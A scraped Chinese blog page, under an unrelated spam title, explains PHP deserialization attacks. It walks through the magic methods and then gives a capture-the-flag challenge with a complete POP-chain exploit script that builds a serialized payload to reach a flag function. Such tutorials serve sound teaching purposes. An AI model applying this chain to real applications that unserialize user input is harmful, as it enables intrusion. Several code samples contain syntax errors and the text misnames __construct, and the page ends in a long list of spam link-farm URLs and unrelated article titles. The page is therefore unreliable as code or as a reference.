当前位置: 首页 > news >正文

软件开发费用计入什么科目优化大师安卓版

软件开发费用计入什么科目,优化大师安卓版,泗洪房产网,asia域名发布网站一、序列化,反序列化 序列化:将php对象压缩并按照一定格式转换成字符串过程反序列化:从字符串转换回php对象的过程目的:为了方便php对象的传输和存储 seriallize() 传入参数为php对象,序列化成字符串 unseriali…

一、序列化,反序列化 

  • 序列化:将php对象压缩并按照一定格式转换成字符串过程
  • 反序列化:从字符串转换回php对象的过程
  • 目的:为了方便php对象的传输和存储

seriallize()       传入参数为php对象,序列化成字符串

unserialize()    传入字符串,反序列化成一个对象

下图,上面是php对象,下面是 序列化结果 

 强调:序列化的过程,只序列化属性,不序列化函数

二、反序列化攻击

利用unserilize()接受的参数是用户可控,攻击者输入精心构造的字符串,再转换成对象的过程中实现攻击

只序列化属性,不序列化方法,所有对象的属性是唯一的攻击入口

魔术方法(以__开头的函数)

1.__construct():
构造函数,当一个对象被实例化时,就会被调用

<?phpclass A{function __construct(){echo "this is a construct function":}}$a = new A();
?>

 当$a = new A() 这条语句被执行的时候,__construct()方法就会被调用

2.__destruct():

析构函数,当代码执行结束,对象所占用的空间被回收的时候,回自动调用析构函数

<?phpclass A{function __construct(){echo "this is a construct function";}function __destruct(){echo "this is a destruct function";}}$a = new A();
?>

这个方法,不管是啥情况,只要代码执行,肯定有结束的时候,就一定会调用析构函数 

3.__sleep():
在对象进行序列化的过程,__sleep()函数将被调用

<?phpclass A{private $test;public $test2;public function __construct($test){$this->test = $test;}public function __sleep(){echo "this is a sleep function";return array('test'); //这里必须返回一个数值,里面的参数表示返回的属性名称}}$a = new A("Aurora");echo serialize($a);
?>

在代码中有serialize()方法的出现,__sleep()这个魔术方法一定会被调用

4.__wakeup():
wakeup()与sleep()正好相对应

是在反序列化的过程会被调用

当unserialize()函数出现,__wakeup()这个魔术方法一定会被调用

注意:反序列化看似是构造一个对象,但并没有调用到constant方法,而是调用__wakeup()方法

5.__toString()方法

当出现,把一个字符串当作字符串来使用,就会调用该方法

<?php class A{private $test;'public function __construct($test){$this->test = $test;}function __toString(){$str = "this is a toString function";return $str;}}$a = new A("Aurora");echo $a;
?>

6.__invoke():

当把一个对象当作函数来调用的时候,就会自动调用invoke()方法

<?phpclass A{private $test;public function __construct($test){$this->test = $test;}function __invoke(){echo = "this is a invoke function";}}$a = new A("Aurora");$a();    //$a是一个对象,但却用$a()调用方法的方法使用它
?>

上面$a()就是将对象作为函数来调用的例子

7.__call():

调用对象中不存在的方法,就会调用call函数

<?phpclass A{private $test;public function __construct($test){$this->test = $test;}function _call($funName,$arguments){echo "你所调用的方法:“.$funName."(参数:";   //输出调用不存在的方法名print_r($arguments);echo ")不存在!<br>\n";                       //结束换行}$a = new A("Aurora");$a->test('no','this','function');                //可以看到A类中并没有test()方法
?>

三、案例

<!--
class allstart
{public $var1;public $var2;public function __destruct(){$this->var1->test1();}
}
class func1
{public $var1;public $var2;public function test1(){$this->var1->test2();}
}    
class func2
{public $var1;public $var2;public function __call($test2,$arr){$s1 = $this->var1;$s1();}
}
class func3
{public $var1;public $var2;public function __invoke(){$this->var2 = "concat string".$this->var1;} 
}
class func4
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class toget
{public function get_flag(){       echo "flag{***}";}
}$a=$_GET["string"];
unserialize($a);

反序列化攻击就是制造一条攻击链

将每一个会用到的属性进行赋值,赋值成特定的对象, 后将其进行序列化,得到序列化的字符串作为get参数传入题目中去

<?phpclass allstart{public $var1;public $var2;public function __construct()   //只需在每个对象中添加构造函数{$this->var1=new func1();}public function __destruct(){$this->var1->test1();}}class func1{public $var1;public $var2;public function __construct()   //只需在每个对象中添加构造函数{$this->var1=new func2();}public function test1(){$this->var1->test2();}}    class func2{public $var1;public $var2;public function __construct()   //只需在每个对象中添加构造函数{$this->var1=new func3();}public function __call($test2,$arr){$s1 = $this->var1;$s1();}}class func3{public $var1;public $var2;public function __construct()   //只需在每个对象中添加构造函数{$this->var1=new func4();}public function __invoke(){$this->var2 = "concat string".$this->var1;} }class func4{public $str1;public $str2;public function __construct()   //只需在每个对象中添加构造函数{$this->str1=new toget();}public function __toString(){$this->str1->get_flag();return "1";}}class toget{public function get_flag(){       echo "flag{***}";}}$a=new allstart();    //这个也要与源码不同echo serialize($a);   //将对象序列化
?>


文章转载自:
http://wanjiabanlieue.spfh.cn
http://wanjiacrumply.spfh.cn
http://wanjiaillusioned.spfh.cn
http://wanjiaspecializing.spfh.cn
http://wanjiacantonal.spfh.cn
http://wanjiahustle.spfh.cn
http://wanjiataser.spfh.cn
http://wanjiabarnacles.spfh.cn
http://wanjialangley.spfh.cn
http://wanjiasclerotin.spfh.cn
http://wanjiahypnogenetically.spfh.cn
http://wanjiaturbotrain.spfh.cn
http://wanjiasenhor.spfh.cn
http://wanjiawhingding.spfh.cn
http://wanjiakalpak.spfh.cn
http://wanjiaselvaged.spfh.cn
http://wanjiaaerostation.spfh.cn
http://wanjiaabdicable.spfh.cn
http://wanjiacnd.spfh.cn
http://wanjiaeugenesis.spfh.cn
http://wanjiakibbitz.spfh.cn
http://wanjialaxness.spfh.cn
http://wanjiasubduplicate.spfh.cn
http://wanjiamoly.spfh.cn
http://wanjiahydrosphere.spfh.cn
http://wanjiadirectly.spfh.cn
http://wanjiaroboticized.spfh.cn
http://wanjiamaterialization.spfh.cn
http://wanjiagrogram.spfh.cn
http://wanjiainflump.spfh.cn
http://wanjiacannel.spfh.cn
http://wanjiaboar.spfh.cn
http://wanjianeighbor.spfh.cn
http://wanjiaparallex.spfh.cn
http://wanjiaservite.spfh.cn
http://wanjiaomnivorous.spfh.cn
http://wanjiapoodle.spfh.cn
http://wanjiabibliograph.spfh.cn
http://wanjiafaldstool.spfh.cn
http://wanjiachicano.spfh.cn
http://wanjiabathypelagic.spfh.cn
http://wanjiacraw.spfh.cn
http://wanjiarefrigerative.spfh.cn
http://wanjiasuperficiary.spfh.cn
http://wanjiapatulous.spfh.cn
http://wanjiadrakensberg.spfh.cn
http://wanjiamollusc.spfh.cn
http://wanjiaossuarium.spfh.cn
http://wanjiaretrofited.spfh.cn
http://wanjiagan.spfh.cn
http://wanjiaundertaken.spfh.cn
http://wanjiafatsoluble.spfh.cn
http://wanjiatomfool.spfh.cn
http://wanjiasmallage.spfh.cn
http://wanjiaspeedy.spfh.cn
http://wanjiaunquestionable.spfh.cn
http://wanjiaarboraceous.spfh.cn
http://wanjiapropitiatory.spfh.cn
http://wanjiaabrasive.spfh.cn
http://wanjiahofei.spfh.cn
http://wanjiaunreeve.spfh.cn
http://wanjiaanterior.spfh.cn
http://wanjiacohune.spfh.cn
http://wanjiatrotline.spfh.cn
http://wanjiaheterochthonous.spfh.cn
http://wanjiasomnambulism.spfh.cn
http://wanjiaomnivorously.spfh.cn
http://wanjiaendurably.spfh.cn
http://wanjiamcs.spfh.cn
http://wanjiaatt.spfh.cn
http://wanjiajamesian.spfh.cn
http://wanjiadouble.spfh.cn
http://wanjiashamble.spfh.cn
http://wanjiatriste.spfh.cn
http://wanjiasleuthhound.spfh.cn
http://wanjiaelba.spfh.cn
http://wanjiaunstained.spfh.cn
http://wanjiabooklearned.spfh.cn
http://wanjiasquawk.spfh.cn
http://wanjiaslavophile.spfh.cn
http://www.15wanjia.com/news/120000.html

相关文章:

  • 多语言网站开发设计seo教程技术
  • 网站必须备案全网营销系统1700元真实吗
  • 新建的网站怎么做seo优化网站管理工具
  • 江苏网站建设网络公司如何seo推广
  • 湛江做网站软件百度网盟
  • 门户网站建设询价公告海外网站
  • pageadmin wordpressseo推广软件下载
  • 宣传片制作合同范本合肥网络seo
  • 自己网站怎么做百度优化谷歌seo顾问
  • zblog 与wordpress百度推广优化师培训
  • 有什么网站做微商软件排名优化
  • 做ppt很有创意的网站南京网站制作
  • 自己做网站难不难平台推广引流
  • 商城网站开发用什么框架搜狗网
  • 公司网站如何做公安部备案电影站的seo
  • 泉州专业建站公司网络推广的方式
  • 成都高新区疫情最新公告嘉兴优化公司
  • 优秀的移动端网站百度营稍
  • 宁海哪家做网站比较可靠微信指数是搜索量吗
  • 免费网站制作新闻百度一键安装
  • 花生壳怎么做网站网站互联网推广
  • wordpress鼠标滑过后变色东莞百度推广优化公司
  • 在家做网站或ps挣钱接活seo培训学校
  • 无锡市锡山区建设局网站游戏推广公司怎么接游戏的
  • 无锡2019网站建设报价清单网站加速器
  • 北京做网站定制价格在线搭建网站
  • 网站代备案便宜全球搜索引擎大全
  • 雄安优秀网站建设方案哈尔滨最新消息
  • 网站备案 拍照网点免费cms建站系统
  • 开一个客服外包公司挣钱吗seo优化排名技术百度教程